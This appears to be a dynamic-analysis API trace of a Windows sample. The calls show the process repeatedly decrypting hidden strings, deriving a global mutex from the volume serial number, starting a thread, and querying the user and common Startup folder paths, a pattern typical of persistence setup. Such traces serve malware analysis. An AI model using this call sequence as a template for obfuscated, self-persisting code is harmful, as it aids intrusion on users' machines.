	[0051.419] GetLastError () returned 0x0
	[0051.420] SetLastError (dwErrCode=0x0) 
	[0051.420] GetLastError () returned 0x0
	[0051.420] SetLastError (dwErrCode=0x0) 
	[0051.420] GetLastError () returned 0x0
	[0051.420] SetLastError (dwErrCode=0x0) 
	[0051.420] GetLastError () returned 0x0
	[0051.420] SetLastError (dwErrCode=0x0) 
	[0051.420] GetLastError () returned 0x0
	[0051.420] SetLastError (dwErrCode=0x0) 
	[0051.420] GetLastError () returned 0x0
	[0051.420] SetLastError (dwErrCode=0x0) 
	[0051.420] GetLastError () returned 0x0
	[0051.420] SetLastError (dwErrCode=0x0) 
	[0051.420] GetLastError () returned 0x0
	[0051.420] SetLastError (dwErrCode=0x0) 
	[0051.420] GetLastError () returned 0x0
	[0051.420] SetLastError (dwErrCode=0x0) 
	[0051.420] GetLastError () returned 0x0
	[0051.420] SetLastError (dwErrCode=0x0) 
	[0051.420] GetLastError () returned 0x0
	[0051.420] SetLastError (dwErrCode=0x0) 
	[0051.420] GetLastError () returned 0x0
	[0051.420] SetLastError (dwErrCode=0x0) 
	[0051.420] GetLastError () returned 0x0
	[0051.421] SetLastError (dwErrCode=0x0) 
	[0051.421] GetLastError () returned 0x0
	[0051.421] SetLastError (dwErrCode=0x0) 
	[0051.421] GetLastError () returned 0x0
	[0051.421] SetLastError (dwErrCode=0x0) 
	[0051.421] GetLastError () returned 0x0
	[0051.421] SetLastError (dwErrCode=0x0) 
	[0051.421] GetLastError () returned 0x0
	[0051.421] SetLastError (dwErrCode=0x0) 
	[0051.421] GetLastError () returned 0x0
	[0051.421] SetLastError (dwErrCode=0x0) 
	[0051.421] GetLastError () returned 0x0
	[0051.421] SetLastError (dwErrCode=0x0) 
	[0051.421] GetLastError () returned 0x0
	[0051.421] SetLastError (dwErrCode=0x0) 
	[0051.421] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x30) returned 0xa10fd0
	[0051.421] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x3300) returned 0xa11fc0
	[0051.422] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x15c) returned 0xa11008
	[0051.422] GetTickCount () returned 0x22dcc
	[0051.422] GetLastError () returned 0x0
	[0051.422] SetLastError (dwErrCode=0x0) 
	[0051.422] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x95fdc0, cchData=32 | out: lpLCData="\x03") returned 16
	[0051.422] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1c) returned 0xa11170
	[0051.423] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1c) returned 0xa11198
	[0051.423] GetVersion () returned 0x23f00206
	[0051.423] GetCurrentProcess () returned 0xffffffff
	[0051.423] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x95fd24 | out: TokenHandle=0x95fd24*=0x1cc) returned 1
	[0051.423] GetTokenInformation (in: TokenHandle=0x1cc, TokenInformationClass=0x14, TokenInformation=0x95fd1c, TokenInformationLength=0x4, ReturnLength=0x95fd20 | out: TokenInformation=0x95fd1c, ReturnLength=0x95fd20) returned 1
	[0051.423] CloseHandle (hObject=0x1cc) returned 1
	[0051.423] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa111c0
	[0051.423] CryptAcquireContextW (in: phProv=0x121fcf0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x121fcf0*=0x14420) returned 1
	[0051.435] CryptImportKey (in: hProv=0x14420, pbData=0x95fc18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fc80 | out: phKey=0x95fc80*=0x222d0) returned 1
	[0051.435] CryptSetKeyParam (hKey=0x222d0, dwParam=0x1, pbData=0x95fc68, dwFlags=0x0) returned 1
	[0051.435] CryptDecrypt (in: hKey=0x222d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111c0, pdwDataLen=0x95fc34 | out: pbData=0xa111c0, pdwDataLen=0x95fc34) returned 1
	[0051.436] CryptDestroyKey (hKey=0x222d0) returned 1
	[0051.436] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa111e8
	[0051.436] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1e) returned 0xa11210
	[0051.436] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa11238
	[0051.436] CryptImportKey (in: hProv=0x14420, pbData=0x95fbf0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fc58 | out: phKey=0x95fc58*=0x22490) returned 1
	[0051.436] CryptSetKeyParam (hKey=0x22490, dwParam=0x1, pbData=0x95fc40, dwFlags=0x0) returned 1
	[0051.436] CryptDecrypt (in: hKey=0x22490, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa11238, pdwDataLen=0x95fc0c | out: pbData=0xa11238, pdwDataLen=0x95fc0c) returned 1
	[0051.436] CryptDestroyKey (hKey=0x22490) returned 1
	[0051.436] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11238 | out: hHeap=0xa10000) returned 1
	[0051.436] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xa111e8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0051.436] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11210 | out: hHeap=0xa10000) returned 1
	[0051.436] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111c0 | out: hHeap=0xa10000) returned 1
	[0051.436] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x95fcc0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x95fcc0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0051.436] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111e8 | out: hHeap=0xa10000) returned 1
	[0051.436] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40) returned 0xa111c0
	[0051.436] CryptImportKey (in: hProv=0x14420, pbData=0x95fc4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fcb4 | out: phKey=0x95fcb4*=0x222d0) returned 1
	[0051.436] CryptSetKeyParam (hKey=0x222d0, dwParam=0x1, pbData=0x95fc9c, dwFlags=0x0) returned 1
	[0051.436] CryptDecrypt (in: hKey=0x222d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111c0, pdwDataLen=0x95fc68 | out: pbData=0xa111c0, pdwDataLen=0x95fc68) returned 1
	[0051.436] CryptDestroyKey (hKey=0x222d0) returned 1
	[0051.436] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x34) returned 0xa11208
	[0051.436] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x1d0
	[0051.437] WaitForSingleObject (hHandle=0x1d0, dwMilliseconds=0x0) returned 0x102
	[0051.437] CloseHandle (hObject=0x1d0) returned 1
	[0051.437] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111c0 | out: hHeap=0xa10000) returned 1
	[0051.437] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11208 | out: hHeap=0xa10000) returned 1
	[0051.437] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa111c0
	[0051.437] CryptImportKey (in: hProv=0x14420, pbData=0x95fc2c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fc94 | out: phKey=0x95fc94*=0x222d0) returned 1
	[0051.437] CryptSetKeyParam (hKey=0x222d0, dwParam=0x1, pbData=0x95fc7c, dwFlags=0x0) returned 1
	[0051.437] CryptDecrypt (in: hKey=0x222d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111c0, pdwDataLen=0x95fc48 | out: pbData=0xa111c0, pdwDataLen=0x95fc48) returned 1
	[0051.437] CryptDestroyKey (hKey=0x222d0) returned 1
	[0051.437] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa111e8
	[0051.437] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1e) returned 0xa11210
	[0051.437] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa11238
	[0051.437] CryptImportKey (in: hProv=0x14420, pbData=0x95fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fc6c | out: phKey=0x95fc6c*=0x222d0) returned 1
	[0051.437] CryptSetKeyParam (hKey=0x222d0, dwParam=0x1, pbData=0x95fc54, dwFlags=0x0) returned 1
	[0051.437] CryptDecrypt (in: hKey=0x222d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa11238, pdwDataLen=0x95fc20 | out: pbData=0xa11238, pdwDataLen=0x95fc20) returned 1
	[0051.437] CryptDestroyKey (hKey=0x222d0) returned 1
	[0051.437] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11238 | out: hHeap=0xa10000) returned 1
	[0051.437] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xa111e8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0051.437] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11210 | out: hHeap=0xa10000) returned 1
	[0051.437] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111c0 | out: hHeap=0xa10000) returned 1
	[0051.437] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x95fcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x95fcd4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0051.437] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111e8 | out: hHeap=0xa10000) returned 1
	[0051.437] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40) returned 0xa111c0
	[0051.437] CryptImportKey (in: hProv=0x14420, pbData=0x95fc60, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fcc8 | out: phKey=0x95fcc8*=0x22690) returned 1
	[0051.437] CryptSetKeyParam (hKey=0x22690, dwParam=0x1, pbData=0x95fcb0, dwFlags=0x0) returned 1
	[0051.438] CryptDecrypt (in: hKey=0x22690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111c0, pdwDataLen=0x95fc7c | out: pbData=0xa111c0, pdwDataLen=0x95fc7c) returned 1
	[0051.438] CryptDestroyKey (hKey=0x22690) returned 1
	[0051.438] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x34) returned 0xa11208
	[0051.438] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x0
	[0051.438] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773000") returned 0x1d0
	[0051.438] WaitForSingleObject (hHandle=0x1d0, dwMilliseconds=0x0) returned 0x0
	[0051.438] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111c0 | out: hHeap=0xa10000) returned 1
	[0051.438] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11208 | out: hHeap=0xa10000) returned 1
	[0051.438] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1211f5f, lpParameter=0x95fd64, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f8
	[0051.438] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x60) returned 0xa111c0
	[0051.439] CryptImportKey (in: hProv=0x14420, pbData=0x95fc70, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fcd8 | out: phKey=0x95fcd8*=0x22490) returned 1
	[0051.439] CryptSetKeyParam (hKey=0x22490, dwParam=0x1, pbData=0x95fcc0, dwFlags=0x0) returned 1
	[0051.439] CryptDecrypt (in: hKey=0x22490, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111c0, pdwDataLen=0x95fc8c | out: pbData=0xa111c0, pdwDataLen=0x95fc8c) returned 1
	[0051.439] CryptDestroyKey (hKey=0x22490) returned 1
	[0051.439] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa11228
	[0051.439] CryptImportKey (in: hProv=0x14420, pbData=0x95fc48, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fcb0 | out: phKey=0x95fcb0*=0x22750) returned 1
	[0051.439] CryptSetKeyParam (hKey=0x22750, dwParam=0x1, pbData=0x95fc98, dwFlags=0x0) returned 1
	[0051.439] CryptDecrypt (in: hKey=0x22750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa11228, pdwDataLen=0x95fc64 | out: pbData=0xa11228, pdwDataLen=0x95fc64) returned 1
	[0051.439] CryptDestroyKey (hKey=0x22750) returned 1
	[0051.439] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa11250
	[0051.439] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1e) returned 0xa11278
	[0051.439] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa112a0
	[0051.439] CryptImportKey (in: hProv=0x14420, pbData=0x95fc20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fc88 | out: phKey=0x95fc88*=0x22990) returned 1
	[0051.439] CryptSetKeyParam (hKey=0x22990, dwParam=0x1, pbData=0x95fc70, dwFlags=0x0) returned 1
	[0051.439] CryptDecrypt (in: hKey=0x22990, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa112a0, pdwDataLen=0x95fc3c | out: pbData=0xa112a0, pdwDataLen=0x95fc3c) returned 1
	[0051.439] CryptDestroyKey (hKey=0x22990) returned 1
	[0051.439] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa112a0 | out: hHeap=0xa10000) returned 1
	[0051.439] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0xa11250, nSize=0xf | out: lpDst="") returned 0x1e
	[0051.439] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11278 | out: hHeap=0xa10000) returned 1
	[0051.439] RtlReAllocateHeap (Heap=0xa10000, Flags=0x0, Ptr=0xa11250, Size=0x3a) returned 0xa11250
	[0051.439] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x3a) returned 0xa11298
	[0051.439] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa112e0
	[0051.439] CryptImportKey (in: hProv=0x14420, pbData=0x95fc1c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fc84 | out: phKey=0x95fc84*=0x225d0) returned 1
	[0051.439] CryptSetKeyParam (hKey=0x225d0, dwParam=0x1, pbData=0x95fc6c, dwFlags=0x0) returned 1
	[0051.439] CryptDecrypt (in: hKey=0x225d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa112e0, pdwDataLen=0x95fc38 | out: pbData=0xa112e0, pdwDataLen=0x95fc38) returned 1
	[0051.439] CryptDestroyKey (hKey=0x225d0) returned 1
	[0051.439] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa112e0 | out: hHeap=0xa10000) returned 1
	[0051.439] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0xa11250, nSize=0x1d | out: lpDst="") returned 0x1e
	[0051.439] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11298 | out: hHeap=0xa10000) returned 1
	[0051.439] RtlReAllocateHeap (Heap=0xa10000, Flags=0x0, Ptr=0xa11250, Size=0x72) returned 0xa11250
	[0051.439] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x72) returned 0xa112d0
	[0051.439] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa11350
	[0051.439] CryptImportKey (in: hProv=0x14420, pbData=0x95fc1c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fc84 | out: phKey=0x95fc84*=0x225d0) returned 1
	[0051.439] CryptSetKeyParam (hKey=0x225d0, dwParam=0x1, pbData=0x95fc6c, dwFlags=0x0) returned 1
	[0051.440] CryptDecrypt (in: hKey=0x225d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa11350, pdwDataLen=0x95fc38 | out: pbData=0xa11350, pdwDataLen=0x95fc38) returned 1
	[0051.440] CryptDestroyKey (hKey=0x225d0) returned 1
	[0051.440] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11350 | out: hHeap=0xa10000) returned 1
	[0051.440] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0xa11250, nSize=0x39 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Local") returned 0x1e
	[0051.440] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa112d0 | out: hHeap=0xa10000) returned 1
	[0051.440] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11228 | out: hHeap=0xa10000) returned 1
	[0051.440] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40) returned 0xa112d0
	[0051.440] CryptImportKey (in: hProv=0x14420, pbData=0x95fc44, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fcac | out: phKey=0x95fcac*=0x22890) returned 1
	[0051.440] CryptSetKeyParam (hKey=0x22890, dwParam=0x1, pbData=0x95fc94, dwFlags=0x0) returned 1
	[0051.440] CryptDecrypt (in: hKey=0x22890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa112d0, pdwDataLen=0x95fc60 | out: pbData=0xa112d0, pdwDataLen=0x95fc60) returned 1
	[0051.440] CryptDestroyKey (hKey=0x22890) returned 1
	[0051.440] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x3e) returned 0xa11318
	[0051.440] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x3e) returned 0xa11360
	[0051.440] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa113a8
	[0051.440] CryptImportKey (in: hProv=0x14420, pbData=0x95fc1c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fc84 | out: phKey=0x95fc84*=0x22490) returned 1
	[0051.440] CryptSetKeyParam (hKey=0x22490, dwParam=0x1, pbData=0x95fc6c, dwFlags=0x0) returned 1
	[0051.440] CryptDecrypt (in: hKey=0x22490, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa113a8, pdwDataLen=0x95fc38 | out: pbData=0xa113a8, pdwDataLen=0x95fc38) returned 1
	[0051.440] CryptDestroyKey (hKey=0x22490) returned 1
	[0051.440] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x10) returned 0xa11228
	[0051.440] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x95fc00 | out: phkResult=0x95fc00*=0x200) returned 0x0
	[0051.442] RegQueryValueExW (in: hKey=0x200, lpValueName="Startup", lpReserved=0x0, lpType=0x95fbfc, lpData=0xa11360, lpcbData=0x95fc04*=0x3e | out: lpType=0x95fbfc*=0x2, lpData=0xa11360*=0xc8, lpcbData=0x95fc04*=0x98) returned 0xea
	[0051.442] RegCloseKey (hKey=0x200) returned 0x0
	[0051.442] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11228 | out: hHeap=0xa10000) returned 1
	[0051.442] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa113a8 | out: hHeap=0xa10000) returned 1
	[0051.442] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11360 | out: hHeap=0xa10000) returned 1
	[0051.442] RtlReAllocateHeap (Heap=0xa10000, Flags=0x0, Ptr=0xa11318, Size=0x7a) returned 0xa11318
	[0051.442] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x7a) returned 0xa113a0
	[0051.442] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa11428
	[0051.442] CryptImportKey (in: hProv=0x14420, pbData=0x95fc18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fc80 | out: phKey=0x95fc80*=0x225d0) returned 1
	[0051.442] CryptSetKeyParam (hKey=0x225d0, dwParam=0x1, pbData=0x95fc68, dwFlags=0x0) returned 1
	[0051.442] CryptDecrypt (in: hKey=0x225d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa11428, pdwDataLen=0x95fc34 | out: pbData=0xa11428, pdwDataLen=0x95fc34) returned 1
	[0051.442] CryptDestroyKey (hKey=0x225d0) returned 1
	[0051.442] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x10) returned 0xa11228
	[0051.442] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x95fbfc | out: phkResult=0x95fbfc*=0x200) returned 0x0
	[0051.442] RegQueryValueExW (in: hKey=0x200, lpValueName="Startup", lpReserved=0x0, lpType=0x95fbf8, lpData=0xa113a0, lpcbData=0x95fc00*=0x7a | out: lpType=0x95fbf8*=0x2, lpData=0xa113a0*=0xc8, lpcbData=0x95fc00*=0x98) returned 0xea
	[0051.442] RegCloseKey (hKey=0x200) returned 0x0
	[0051.442] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11228 | out: hHeap=0xa10000) returned 1
	[0051.443] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11428 | out: hHeap=0xa10000) returned 1
	[0051.443] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa113a0 | out: hHeap=0xa10000) returned 1
	[0051.443] RtlReAllocateHeap (Heap=0xa10000, Flags=0x0, Ptr=0xa11318, Size=0xf2) returned 0xa11318
	[0051.443] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0xf2) returned 0xa11418
	[0051.443] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa152c8
	[0051.443] CryptImportKey (in: hProv=0x14420, pbData=0x95fc18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fc80 | out: phKey=0x95fc80*=0x22890) returned 1
	[0051.443] CryptSetKeyParam (hKey=0x22890, dwParam=0x1, pbData=0x95fc68, dwFlags=0x0) returned 1
	[0051.443] CryptDecrypt (in: hKey=0x22890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa152c8, pdwDataLen=0x95fc34 | out: pbData=0xa152c8, pdwDataLen=0x95fc34) returned 1
	[0051.443] CryptDestroyKey (hKey=0x22890) returned 1
	[0051.443] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x10) returned 0xa11518
	[0051.443] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x95fbfc | out: phkResult=0x95fbfc*=0x200) returned 0x0
	[0051.443] RegQueryValueExW (in: hKey=0x200, lpValueName="Startup", lpReserved=0x0, lpType=0x95fbf8, lpData=0xa11418, lpcbData=0x95fc00*=0xf2 | out: lpType=0x95fbf8*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x95fc00*=0x98) returned 0x0
	[0051.443] RegCloseKey (hKey=0x200) returned 0x0
	[0051.443] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11518 | out: hHeap=0xa10000) returned 1
	[0051.443] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa11518
	[0051.443] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x95fbfc | out: phkResult=0x95fbfc*=0x200) returned 0x0
	[0051.443] RegQueryValueExW (in: hKey=0x200, lpValueName="Common Startup", lpReserved=0x0, lpType=0x95fbf8, lpData=0xa114b0, lpcbData=0x95fc00*=0x5a | out: lpType=0x95fbf8*=0x0, lpData=0xa114b0*=0x73, lpcbData=0x95fc00*=0x5a) returned 0x2
	[0051.443] RegCloseKey (hKey=0x200) returned 0x0
	[0051.443] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x95fc10 | out: phkResult=0x95fc10*=0x200) returned 0x0
	[0051.443] RegQueryValueExW (in: hKey=0x200, lpValueName="Common Startup", lpReserved=0x0, lpType=0x95fc0c, lpData=0xa114b0, lpcbData=0x95fc14*=0x5a | out: lpType=0x95fc0c*=0x2, lpData=0xa114b0*=0x73, lpcbData=0x95fc14*=0x78) returned 0xea
	[0051.443] RegCloseKey (hKey=0x200) returned 0x0
	[0051.443] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11518 | out: hHeap=0xa10000) returned 1
	[0051.443] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa152c8 | out: hHeap=0xa10000) returned 1
	[0051.443] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11418 | out: hHeap=0xa10000) returned 1
	[0051.443] RtlReAllocateHeap (Heap=0xa10000, Flags=0x0, Ptr=0xa11318, Size=0x1e2) returned 0xa11318
	[0051.444] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1e2) returned 0xa152c8
	[0051.444] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa154b8
	[0051.444] CryptImportKey (in: hProv=0x14420, pbData=0x95fc18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fc80 | out: phKey=0x95fc80*=0x22390) returned 1
	[0051.444] CryptSetKeyParam (hKey=0x22390, dwParam=0x1, pbData=0x95fc68, dwFlags=0x0) returned 1
	[0051.444] CryptDecrypt (in: hKey=0x22390, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa154b8, pdwDataLen=0x95fc34 | out: pbData=0xa154b8, pdwDataLen=0x95fc34) returned 1
	[0051.444] CryptDestroyKey (hKey=0x22390) returned 1
	[0051.444] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x10) returned 0xa11228
	[0051.444] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x95fbfc | out: phkResult=0x95fbfc*=0x200) returned 0x0
	[0051.444] RegQueryValueExW (in: hKey=0x200, lpValueName="Startup", lpReserved=0x0, lpType=0x95fbf8, lpData=0xa152c8, lpcbData=0x95fc00*=0x1e2 | out: lpType=0x95fbf8*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x95fc00*=0x98) returned 0x0
	[0051.444] RegCloseKey (hKey=0x200) returned 0x0
	[0051.444] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11228 | out: hHeap=0xa10000) returned 1
	[0051.444] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa11228
	[0051.444] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x95fbfc | out: phkResult=0x95fbfc*=0x200) returned 0x0
	[0051.444] RegQueryValueExW (in: hKey=0x200, lpValueName="Common Startup", lpReserved=0x0, lpType=0x95fbf8, lpData=0xa15360, lpcbData=0x95fc00*=0x14a | out: lpType=0x95fbf8*=0x0, lpData=0xa15360*=0xc0, lpcbData=0x95fc00*=0x14a) returned 0x2
	[0051.444] RegCloseKey (hKey=0x200) returned 0x0
	[0051.444] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x95fc10 | out: phkResult=0x95fc10*=0x200) returned 0x0
